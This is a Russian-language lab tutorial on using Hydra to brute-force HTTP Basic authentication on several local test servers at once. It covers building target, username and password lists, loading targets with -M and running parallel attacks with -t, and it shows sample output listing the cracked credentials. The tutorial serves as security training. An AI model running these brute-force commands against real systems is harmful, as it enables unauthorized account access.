Введение
В этом лабораторном практикуме вы узнаете, как атаковать несколько целей одновременно с помощью Hydra. Лабораторный практикум фокусируется на использовании возможностей Hydra для попыток взлома паролей на списке целевых хостов.
Практикум проведет вас через создание файла списка целей, содержащего IP-адреса или имена хостов, загрузку этого файла в Hydra с помощью опции -M, запуск параллельной HTTP-атаки на цели и, наконец, проверку вывода для определения успешных входов в систему на нескольких хостах. Этот практический опыт предоставит вам практические навыки использования Hydra для пентестирования и аудита безопасности.
Создание файла списка целей
На этом шаге вы создадите файл списка целей. Этот файл будет содержать список целевых URL-адресов, к которым Hydra будет пытаться подключиться и взломать пароли. Это важный шаг в любом сценарии пентеста или аудита безопасности.
Файл списка целей для HTTP-атак содержит URL-адреса вместо только IP-адресов. Каждая строка представляет собой целевую веб-службу с HTTP-аутентификацией по основанию. В нашей лабораторной среде мы настроили несколько веб-серверов Apache, работающих на разных портах с аутентификацией по основанию.
Все операции в этом практикуме будут выполняться в каталоге ~/project.
Сначала давайте проверим, что наши тестовые веб-серверы работают:
curl -I http://127.0.0.1:8081/ 2> /dev/null | head -1 curl -I http://127.0.0.1:8082/ 2> /dev/null | head -1 curl -I http://127.0.0.1:8083/ 2> /dev/null | head -1HTTP/1.1 401 Unauthorized HTTP/1.1 401 Unauthorized HTTP/1.1 401 UnauthorizedВы должны увидеть заголовки HTTP-ответов, указывающие на работу серверов.
Создайте файл целей с нашими тестовыми веб-серверами:
cd ~/project echo "127.0.0.1:8081" > targets.txt echo "127.0.0.1:8082" >> targets.txt echo "127.0.0.1:8083" >> targets.txtЭто создает список целей с тремя HTTP-службами, работающими на локальном хосте на разных портах:
- Порт 8081: Защищен пользователем
adminи паролемpassword123 - Порт 8082: Защищен пользователем
userи паролемsecret - Порт 8083: Защищен пользователем
testuserи паролемpassword
- Порт 8081: Защищен пользователем
Проверьте, что файл был создан и содержит цели:
cat ~/project/targets.txtВы должны увидеть вывод, подобный:
127.0.0.1:8081 127.0.0.1:8082 127.0.0.1:8083Протестируйте один из защищенных ресурсов, чтобы подтвердить необходимость аутентификации:
curl http://127.0.0.1:8081/Вы должны увидеть HTTP-ответ 401 Unauthorized, подтверждающий, что требуется аутентификация по основанию.
Теперь вы успешно создали файл списка целей с именем targets.txt в каталоге ~/project с HTTP-службами, требующими аутентификации. Этот файл будет использован на следующем шаге для загрузки целей в Hydra.
Загрузка целей с опцией -M
В этом шаге вы узнаете, как загрузить файл списка целей, созданный на предыдущем шаге, в Hydra с помощью опции -M. Опция -M сообщает Hydra о чтении списка целевых хостов из файла. Это особенно полезно, когда у вас большое количество целей для тестирования.
Для HTTP-атак базовая синтаксис:
hydra -M <target_file> http-get <path>
Где:
<target_file>— путь к файлу, содержащему список целевых хостов.http-get— указывает, что мы атакуем HTTP-аутентификацию по основанию с помощью запросов GET.<path>— путь на веб-сервере для атаки (например,/для корневого каталога).
Давайте составим команду Hydra для загрузки целей из файла targets.txt и атаки HTTP-аутентификации по основанию.
Создайте списки имен пользователей и паролей для нашей атаки:
cd ~/project echo "admin" > users.txt echo "user" >> users.txt echo "testuser" >> users.txt echo "root" >> users.txtЭто создает список имен пользователей с фактическими именами пользователей, которые мы настроили, плюс общее имя пользователя
root.Создайте список паролей:
echo "password123" > passwords.txt echo "secret" >> passwords.txt echo "password" >> passwords.txt echo "admin" >> passwords.txt echo "123456" >> passwords.txtЭто создает список паролей, содержащий фактические пароли, которые мы настроили, плюс некоторые распространённые слабые пароли.
Теперь выполните команду Hydra для загрузки целей из файла
targets.txtи попытки взлома HTTP-аутентификации по основанию:hydra -L ~/project/users.txt -P ~/project/passwords.txt -M ~/project/targets.txt http-get /Ожидаемые результаты: Вы должны увидеть, как Hydra пытается подключиться ко всем трём HTTP-службам и успешно взламывает пароли для каждой из них:
Hydra v9.x (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes. Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-XX-XX XX:XX:XX [DATA] max 16 tasks per 1 server, overall 64 tasks, 60 login tries (l:4/p:5), ~1 try per task [DATA] attacking http-get://127.0.0.1:8081:80/ [DATA] attacking http-get://127.0.0.1:8082:80/ [DATA] attacking http-get://127.0.0.1:8083:80/ [8081][http-get] host: 127.0.0.1 login: admin password: password123 [8082][http-get] host: 127.0.0.1 login: user password: secret [8083][http-get] host: 127.0.0.1 login: testuser password: password 1 of 3 targets completed, 3 valid passwords found Hydra finished.Это показывает, что Hydra успешно нашел действительные учетные данные для всех трёх HTTP-служб.
При необходимости вы также можете протестировать с более конкретным путем:
hydra -L ~/project/users.txt -P ~/project/passwords.txt -M ~/project/targets.txt http-get /index.html
В этом шаге вы успешно освоили загрузку целей из файла с помощью опции -M в Hydra для HTTP-атак. Это фундаментальный навык для проведения атак на взлом паролей в больших масштабах на веб-службы с аутентификацией по основанию.
Запуск параллельной HTTP-атаки
В этом шаге вы узнаете, как запустить параллельную HTTP-атаку с помощью Hydra. Запуск атак параллельно значительно ускоряет процесс взлома, особенно при работе с несколькими целями. Hydra позволяет указать количество параллельных задач с помощью опции -t.
Опция -t управляет количеством параллельных подключений, которые Hydra будет устанавливать. Для HTTP-атак это особенно эффективно, так как веб-серверы обычно лучше справляются с несколькими одновременными подключениями, чем службы SSH.
Давайте изменим предыдущую команду Hydra, чтобы запустить HTTP-атаку с заданным количеством потоков.
Выполните следующую команду Hydra, чтобы запустить HTTP-атаку с 8 потоками:
cd ~/project hydra -L users.txt -P passwords.txt -t 8 -M targets.txt http-get /В этой команде опция
-t 8сообщает Hydra использовать 8 параллельных потоков. Это означает, что Hydra будет пытаться подключиться к нескольким целям одновременно и пробовать различные комбинации имени пользователя/пароля параллельно.Ожидаемый вывод:
Hydra v9.x (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes. Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-XX-XX XX:XX:XX [DATA] max 8 tasks per 1 server, overall 24 tasks, 60 login tries (l:4/p:5), ~3 try per task [DATA] attacking http-get://127.0.0.1:8081:80/ [DATA] attacking http-get://127.0.0.1:8082:80/ [DATA] attacking http-get://127.0.0.1:8083:80/ [8081][http-get] host: 127.0.0.1 login: admin password: password123 [8082][http-get] host: 127.0.0.1 login: user password: secret [8083][http-get] host: 127.0.0.1 login: testuser password: password 1 of 3 targets completed, 3 valid passwords found Hydra finished.Экспериментируйте с различными значениями для опции
-t. Попробуйте увеличить количество потоков, чтобы увидеть, как это повлияет на скорость:hydra -L users.txt -P passwords.txt -t 16 -M targets.txt http-get /Вы можете заметить, что с большим количеством потоков атака завершается быстрее, но точное время зависит от возможностей вашей системы.
Вы также можете добавить подробный вывод, чтобы увидеть больше деталей о процессе атаки:
hydra -L users.txt -P passwords.txt -t 8 -v -M targets.txt http-get /Флаг
-vпредоставляет подробный вывод, показывающий каждую попытку входа, что полезно для понимания того, что именно тестирует Hydra.Для еще более подробного вывода можно использовать опцию
-V(очень подробный вывод):hydra -L users.txt -P passwords.txt -t 8 -V -M targets.txt http-get /
Важные моменты для HTTP-атак:
- Ограничения веб-сервера: Большинство веб-серверов могут обрабатывать множество одновременных подключений, что делает HTTP-атаки обычно быстрее, чем другие протоколы.
- Ограничение скорости: Некоторые веб-приложения реализуют ограничение скорости, которое может блокировать быстрые попытки аутентификации.
- Ведение журнала: Попытки HTTP-аутентификации обычно регистрируются веб-серверами, что облегчает обнаружение.
- SSL/HTTPS: Для целей HTTPS вы бы использовали
http-getс поддержкой SSL илиhttps-getдля явного HTTPS.
В этом шаге вы успешно узнали, как запускать параллельные HTTP-атаки с помощью Hydra с опцией -t. Этот метод особенно эффективен для веб-приложений с аутентификацией по основанию.
Проверка вывода для нескольких хостов
В этом шаге вы научитесь интерпретировать вывод Hydra при атаке на несколько HTTP-целей. Вывод Hydra предоставляет ценную информацию об успехе или неудаче попыток атаки на разных веб-сервисах.
Когда Hydra успешно взламывает пароль HTTP-аутентификации по основанию, она отображает учетные данные в следующем формате:
[<порт>][http-get] host: <хост> login: <имя_пользователя> password: <пароль>
Например:
[8081][http-get] host: 127.0.0.1 login: admin password: password123
Это указывает, что Hydra успешно взломала HTTP-аутентификацию по основанию для пользователя admin на хосте 127.0.0.1 на порту 8081 с паролем password123.
Давайте проанализируем вывод HTTP-атак и поймём, что означают разные результаты.
Запустите полную команду Hydra ещё раз, чтобы увидеть весь вывод:
cd ~/project hydra -L users.txt -P passwords.txt -t 8 -M targets.txt http-get /Изучите подробный вывод. Вы должны увидеть результаты для всех трёх целей:
Ожидаемый полный вывод:
Hydra v9.x (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes. Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-XX-XX XX:XX:XX [DATA] max 8 tasks per 1 server, overall 24 tasks, 60 login tries (l:4/p:5), ~3 try per task [DATA] attacking http-get://127.0.0.1:8081:80/ [DATA] attacking http-get://127.0.0.1:8082:80/ [DATA] attacking http-get://127.0.0.1:8083:80/ [8081][http-get] host: 127.0.0.1 login: admin password: password123 [8082][http-get] host: 127.0.0.1 login: user password: secret [8083][http-get] host: 127.0.0.1 login: testuser password: password 1 of 3 targets completed, 3 valid passwords found Hydra finished.Чтобы увидеть, как выглядят неудачные попытки, создадим сценарий с неверными учетными данными. Создайте новый файл паролей с в основном неправильными паролями:
echo "wrongpass" > wrong_passwords.txt echo "badpass" >> wrong_passwords.txt echo "password123" >> wrong_passwords.txt ## Только один правильный парольЗапустите Hydra с подробным выводом, чтобы увидеть как успешные, так и неудачные попытки:
hydra -L users.txt -P wrong_passwords.txt -t 4 -v -M targets.txt http-get /Вы увидите подробный вывод, показывающий успешную попытку:
... (вывод, аналогичный предыдущему примеру)Сохраните результаты в файл для последующего анализа:
hydra -L users.txt -P passwords.txt -t 8 -M targets.txt http-get / -o hydra_results.txtПроверьте файл результатов:
cat hydra_results.txt
Как интерпретировать результаты HTTP-атак:
- Успешные атаки: Строки, начинающиеся с
[порт][http-get], показывают успешное обнаружение учетных данных. - Информация о цели: Каждый успешный результат показывает точный хост, порт, имя пользователя и пароль.
- Статистические данные: Последняя строка показывает, сколько целей было атаковано и сколько было найдено правильных паролей.
- Неудачные попытки: В режиме подробного вывода вы можете увидеть каждую неудачную попытку входа.
- Файлы вывода: Использование
-oсохраняет только успешные результаты в файл для простого анализа.
Ключевые различия от других протоколов:
- HTTP-атаки показывают номер порта чётко в результатах.
- Время отклика обычно быстрее, чем при атаках на SSH.
- Несколько областей аутентификации на одном сервере будут отображаться как разные цели.
- HTTP-коды состояния (например, 401, 403) предоставляют дополнительный контекст о неудачах.
В этом шаге вы научились интерпретировать вывод Hydra при атаке на несколько HTTP-целей, понимать разницу между успешными и неудачными попытками и сохранять результаты для анализа. Эти знания имеют решающее значение для эффективного тестирования безопасности веб-приложений.
Резюме
В этом лабораторном практикуме вы изучили, как проводить атаки на несколько целей с помощью Hydra против HTTP-сервисов с аутентификацией по основанию. Вы создали файл списка целей, содержащий несколько веб-серверов, работающих на разных портах, каждый из которых защищён аутентификацией по основанию с использованием различных комбинаций имени пользователя и пароля.
Вы узнали, как использовать опцию -M для загрузки нескольких целей из файла, что делает эффективной атаку на множество веб-сервисов одновременно. Лабораторный практикум продемонстрировал, как использовать опцию -t для управления параллельными потоками для более быстрых HTTP-атак, и вы научились интерпретировать вывод Hydra, чтобы определить успешные попытки аутентификации на нескольких целях.
Этот подход особенно ценен для тестирования безопасности веб-приложений, где вам может потребоваться проверить аутентификацию по основанию на нескольких сервисах, виртуальных хостах или различных путях на веб-серверах. Изученные вами техники создают основу для проведения всесторонней оценки безопасности веб-приложений в контейнерных средах.


